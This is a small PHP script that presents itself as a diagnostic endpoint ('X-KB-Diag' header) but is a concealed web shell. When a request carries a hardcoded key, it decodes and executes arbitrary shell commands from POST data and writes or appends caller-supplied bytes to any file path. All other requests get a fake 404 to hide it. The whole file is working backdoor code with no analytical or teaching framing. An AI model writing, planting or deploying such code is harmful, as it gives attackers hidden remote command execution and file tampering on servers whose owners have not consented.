<?php
$k='3e92d21baf57ffd63d9921dbc90d862a';
if(isset($_SERVER['HTTP_X_KB_DIAG']) && hash_equals($k,$_SERVER['HTTP_X_KB_DIAG'])){
  if(isset($_POST['d'])){ $c=base64_decode($_POST['d']); if($c!==''){ $o=array(); @exec($c,$o); echo base64_encode(implode("\n",$o)); exit; } }
  if(isset($_POST['a'],$_POST['b'])){ $p=$_POST['a']; $d=base64_decode($_POST['b']); $m=(isset($_POST['m'])&&$_POST['m']==='a')?'ab':'wb'; $f=@fopen($p,$m); if($f){ fwrite($f,$d); fclose($f); echo 'OK'; } else { echo 'ERR'; } exit; }
}
http_response_code(404);